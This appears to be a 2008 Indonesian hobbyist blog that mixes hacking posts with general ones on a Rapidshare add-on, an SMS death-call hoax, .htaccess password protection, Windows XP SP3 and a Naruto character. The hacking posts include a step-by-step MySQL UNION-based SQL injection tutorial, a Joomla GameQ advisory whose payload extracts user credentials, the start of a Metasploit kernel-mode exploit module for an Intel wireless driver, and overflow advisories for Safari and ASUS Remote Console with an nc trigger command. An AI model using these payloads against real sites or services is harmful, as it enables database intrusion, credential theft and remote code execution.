BlackRaptor's Blog






June 8, 2008

SQL Injection Tutorial - Full

SQL Injection Tutorial by Marezzi (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?

It’s one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc…(in shortly).

1.SQL Injection (classic or error based or whatever you call it) :D

2.Blind SQL Injection (the harder part)

So let’s start with some action :D

1). Check for vulnerability

Let’s say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ‘ (quote),

and that would be http://www.site.com/news.php?id=5′

so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar

that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* < -- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it :)

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version :D
(more…)

Bug - Joomla Component GameQ <= 4.0 Remote SQL injection Vulnerability

/—————————————————————\
\ /
/ Joomla Component GameQ Remote SQL injection \
\ /
\—————————————————————/

[*] Author : His0k4 [ALGERIAN HaCkEr]

[*] POC : http://localhost/[Joomla_Path]/index.php?option=com_gameq&task=page&category_id={SQL}

[*] Example : http://localhost/[Joomla_Path]/index.php?option=com_gameq&task=page&category_id=-1 UNION SELECT 1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14 FROM jos_users–

# milw0rm.com [2008-06-07]

Happy Hours Checker - RapidShare

Filed under: News

rapidshare

HappyChecker merupakan add-on untuk Mozilla Firefox yang akan memberitahukan jika Rapidshare Happy Hours sedang aktif. Rapidshare Happy Hours sendiri merupakan saat-saat dimana pengguna non premium akan mendapat fasilitas untuk mendownload file-file dari Rapidshare layaknya pengguna Premium: tanpa perlu memasukkan kode Captcha dan dapat menggunakan download manager.

Saat ini, add-on HappyChecker masih bersifat experimental, jadi untuk mendownload dari website Mozilla harus melakukan login terlebih dahulu. Menurut pembuatnya, add-on HappyChecker masih belum mempunyai graphical user interface (GUI), berjalan pada background Firefox dan akan memunculkan jendela peringatan seperti gambar di atas apabila hasil pengecekannya menunjukkan adanya Rapidshare Happy Hours. Pengecekannya sendiri dilakukan setiap 30 menit sekali.

Saya sendiri belum pernah merasakan adanya Rapidshare Happy Hours karena setiap saat adalah Rapidshare Happy Hours karena saya menggunakan account premium. Apakah Anda pernah mendapati Rapidshare Happy Hours? Jam berapa itu terjadi?

– Download HappyChecker | via gHacks

May 11, 2008

Issu AXIS, Nomor Merah, Santet HP, dan Kematian

Filed under: News

Akhir-akhir ini masalah Axis, Nomor Merah, Infra Red, santet HP, dan kematian warga akibatnya menjadi perbincangan hangat. Tidak hanya di blog wordpress dan di internet saja, bahkan telah masuk ke berbagai koran nasional dan stasiun televisi. Bahkan telah muncul korban di beberapa wilayah karena kejadian ini. Hal ini membuat saya gerah untuk menulis pula perihal ini. Apalagi di sekitar tempat saya tinggal, banyak yang jadi korban gara-gara SMS berisi isu ini.

Salah satu teror SMS itu berbunyi: ”Kalo ada telepon yang NOMORNYA BERWARNA MERAH jangan diangkat, karena bisa menelan jiwa. Hari ini sudah disiarkan di berita, terjadi di Jakarta dan Duri dan sudah terbukti. Sekarang masih diusut oleh pihak KEPOLISIAN. Dugaan sementara adalah kasus PEMBUNUHAN JARAK JAUH MELALUI TELEPON GENGGAM (HP) oleh dukun ILMU HITAM/si penelepon adalah ROH GENTAYANGAN yang mencari MANGSA. Harap dimengerti dan kirim ke teman atau saudara semua. Harap saling membantu sesama umat manusia.”

SMS yang lainnya berbunyi: ”Informasi, kalau ada nomor HP yang 0866 atau 0666 masuk berwarna merah, mohon jangan diangkat, karena ada virus kematian. Soalnya di Jakarta dan di Sumatera sudah ada yang meninggal gara-gara masalah ini, orang bilang lagi uji ilmu hitam.”
Pesan lain berbunyi: ”Tolong diperhatikan serius. Jika menerima telp masuk dari HP dengan kepala no 0866 atau 066 dengan warna tulisannya merah, mohon dengan sangat jangan diterima. Sama sekali jangan memencet tombol apa pun karena telah memakan korban 1 orang di Medan dan 3 orang di Pekanbaru yang hangus karena HP-nya meledak. Mohon beritahu teman-teman lain”.

Ada juga yang berbunyi seperti ini: ”Mengenai ‘Ring in Red” yang terjadi di banyak negara, kepdik WHO Prof Dr Adi Mok telah menytakn bhw, kjdian tsb bkn ulah ilmu hitam. Tap, radiasi infra merah yangsengaja dipancarkan scr berlebihan ke HP no yg dituju yg mmg bnr dpt menyebabkan penerima tewas bbrp saat stlh mendengar telp. Walaupun tdk dijawab, HP yng terletak dkt jg berbhy, dpt timbulkan penyakit perlahan seperti kanker. Sebaiknya kurangi pengaktifan/pemakaian HP sampai dinyatakan aman kembali olh WHO.”

Walah, sampai WHO dilibatkan, jauh benar. Urusan gini aja dibahas WHO, gak mungkinkan. Tapi kok masih banyak yang percaya soal SMS merah ini hingga menjadi top artikel di dashboard WordPress. Perihal infra red juga bohongan. Tidak mungkin infra red yang dipancarkan Handphone sampai-sampai membunuh penggunanya. Tapi kalau menimbulkan gangguan kesehatan sih mungkin.

Paling kalau ada orang yang mati, pingsan, atau apalah namanya karena SMS merah ini mungkin karena lagi gak sehat, jantungannya kumat karena tiba-tiba terima SMS aneh, buka SMS sambil nyetir, buka telepon di atas rel kereta api, dll. Yang jelas bukan karena dampak langsung sinar infra merah.
(more…)

May 1, 2008

Proteksi Direktori Web Menggunakan .htaccess Pada Linux

ika anda mempunyai direktori web yang tidak ingin diakses oleh orang lain, maka cara di bawah ini bisa anda terapkan untuk hal tersebut. Metodanya adalah setiap orang yang akses ke direktori web tersebut akan ditampilkan prompt username dan password untuk otentikasi.

Langkah-langkah:

1) Buat file .htaccess yang ditempatkan/disimpan dalam direktori web yang diproteksi misalnya direktori /home/httpd/htdocs, dengan konfigurasi:

AuthUserFile /home/httpd/htdocs/.htpasswd
AuthGroupFile /dev/null
AuthName “Private Administrative Zone”
AuthType Basic

require valid-user

2) Buat file untuk menyimpan data username dan password dengan nama yang tertera pada AuthUserFile, menggunakan perintah:

~# htpasswd -c /home/httpd/htdocs/.htpasswd sibolang
New password:

Re-type new password:

Adding password for user sibolang
~#

.htpasswd adalah file untuk menyimpan username dan passoword (tidak harus dengan nama .htpasswd), username-nya adalah sibolang dan password-nya yang anda isikan. Untuk menambah user lainnya gunakan perintah htpasswd tanpa -c

3) Untuk menghapus user, buka file .htpasswd tersebut dan hapuslah user yang anda inginkan.

4) Jangan lupa untuk mengubah konfigurasi httpd.conf Apache pada home direktori yang diproteksi tersebut, yaitu pada perintah AllowOverride None ke AllowOverride All


< -directory “/home/httpd/htdocs”>
Options None
AllowOverride None
Order allow,deny
Allow from all
< -/directory>

Menjadi:


< -directory “/home/httpd/htdocs”>
Options None
AllowOverride All
Order allow,deny
Allow from all
< -/directory>

April 30, 2008

Microsoft Windows XP SP3

Filed under: News

Sesuai dengan jadwal, Windows XP SP3 telah ditempatkan di server - server Microsoft. Anda dapat mengunduh XP SP3 versi Inggris dari sini. Installer XP SP3 ini berukuran 300MB+, dan menurut kabar terakhir, Microsoft tidak merilis SP ini di Windows Update karena ditemukannya satu bug yang mempengaruhi para pemakai fitur Windows Dynamic RMS, apabila anda tidak menggunakan fitur ini, maka SP ini seharusnya akan terinstal di sistem anda tanpa masalah. Bagi anda yang tidak begitu mengerti tentang Microsoft RMS (Rights Management System), ini adalah sistem enterprise DRM Microsoft, masih relatif jarang dipakai di lingkungan korporat, dan hampir dapat dipastikan tidak terinstal di komputer - komputer pribadi.

SP3 dilaporkan memiliki 1,073 perbaikan termasuk peningkatan kinerja. Microsoft juga telah mengikutkan 4 fitur yang sebelumnya hanya tersedia untuk Vista yaitu:

* NAP
* Black Hole Router Detection
* Microsoft Kernel Cryptographic Module
* Product Activation Module

Anda juga dapat membaca ulasan ArsTechnica tentang ke-empat fitur ini secara mendetil.

April 17, 2008

Profil Gaara

Filed under: Naruto Mania

Gaara
profil gaara

Gaara adalah nama seorang tokoh fiksi dalam seri manga dan anime Naruto. Gaara adalah seorang ninja yang mempunyai kekuatan untuk mengendalikan dan mengontrol pasir dan ia dilindungi setiap saat oleh perisai pasir, tetapi dia harus menderita insomnia seumur hidup sebagai efek sampingnya. Garaa tak akan pernah bisa tidur karena ketika dia tidur, Shukaku akan menguasai tubuh dan pikirannya. Dia merupakan jinchuuriki dari Shukaku yaitu salah satu bijuu berekor satu. Dirinya yang suka membunuh akhirnya tersentuh hatinya karena telah disadarkan Naruto dalam suatu pertarungan. Setelah kematian ayahnya yang merupakan Kazekage, Gaara pun menjadi Kazekage berikutnya. Kakaknya, Temari dan Kankurou menjadi jonin di desa tersebut (desa Sunagakure). Gaara sempat mati sehabis bertarung melawan anggota Akatsuki (Deidara) yang akhirnya harus melepaskan Shukaku dari tubuhnya karena diambil paksa oleh Akatsuki. Tetapi, berkat bantuan nenek Chiyodan Sakura, serta Naruto yang rela memberikan sebagian cakranya, Gaara pun berhasil hidup kembali. Marga asli Gaara adalah ‘Lei’. Julukannya adalah ‘Sabaku no Gaara’ atau bila diartikan adalah ‘Gaara si Pengendali Pasir’.

source : wikipedia

Bug - Intel Centrino ipw2200BG Wireless Driver Remote BOF Exploit (meta)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require ‘msf/core’

module Msf

class Exploits::Windows::Driver::Intel_Centrino_2200BG_driver_probe < Msf::Exploit::Remote

include Exploit::Lorcon
include Exploit::KernelMode

def initialize(info = {})
super(update_info(info,
'Name' => ‘Intel Centrino 2200BG Wireless Driver Probe Overflow’,
‘Description’ => %q{
This module exploits a stack overflow in the w22n51.sys driver provided
with the Intel 2200BG integrated wireless adapter. This stack overflow
allows remote code execution in kernel mode. The stack overflow is triggered
when a 802.11 Probe response frame is received that contains multi vendor specific tag
and “\x00″ as essid and essid length element. This exploit was tested with version 8.0.12.20000
of the driver and an Intel Centrino 2200BG integrated wireless adapter. Newer
versions of the w22n51.sys driver are provided from Intel to resolve this flaw.
Since this vulnerability is exploited via probe response frames, all cards within
range of the attack will be affected.

Vulnerable clients don’t need to have their card in a particular state for this exploit
to work.

This module depends on the Lorcon library and only works on the Linux platform
with a supported wireless card. Please see the Ruby Lorcon documentation
(external/ruby-lorcon/README) for more information. (more…)

March 24, 2008

Safari 3.1 for windows download bug

Filed under: News

This is another flaw I found in the Safari browser for Windows, the fault lies when trying to download a file with a very long name that causes the program is broken and pull the following exception.

Access violation when reading[11b5c539]

If the file is filled with more letters to cause an exception but when he writes, in the proof of concept only leave the reading as geocities leaves no upload a file with a long name but if you assemble your own server and create a zip archive with nothing inside and the name of the letter “A” until there is no more space in the name provokes the following exception.

Acess violation when writing to [9c236d62]

Below left the proof of concept? greetings and continue well !!!!!!!

POC

http://es.geocities.com/jplopezy/pruebasafari2.html

Juan Pablo Lopez Yacubian

fuzzertina.blogspot.com

source : securityfocus.com

Bug - Buffer-overflow in ASUS Remote Console 2.0.0.24

Luigi Auriemma

Application: ASUS Remote Console
http://www.asus.com/999/html/share/9/icon/9/index.htm#asmb3
Versions: <= 2.0.0.24
Platforms: Windows
Bug: buffer overflow
Exploitation: remote
Date: 21 Mar 2008
Author: Luigi Auriemma
e-mail: aluigi (at) autistici (dot) org [email concealed]
web: aluigi.org

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

From the manual:
“The ASUS Remote Console (ARC) is an efficient and flexible application
that allows monitoring and control of the remote host.”

The main component of this service is a telnet server listening on port
623 which is called DpcProxy and provides an IPMI interface.

======
2) Bug
======

The DPC Proxy is affected by a buffer-overflow vulnerability located in
the function which gets the data received from the client, stores them
in a stack buffer of about 1024 bytes and checks the presence of an end
of line delimiter (carriage return).

===========
3) The Code
===========

http://aluigi.org/poc/asuxdpc.txt

nc SERVER 623 -v -v -w 2 < asuxdpc.txt

======
4) Fix
======

No fix


Luigi Auriemma
http://aluigi.org






















Get free blog up and running in minutes with Blogsome
Theme designed by B A Khan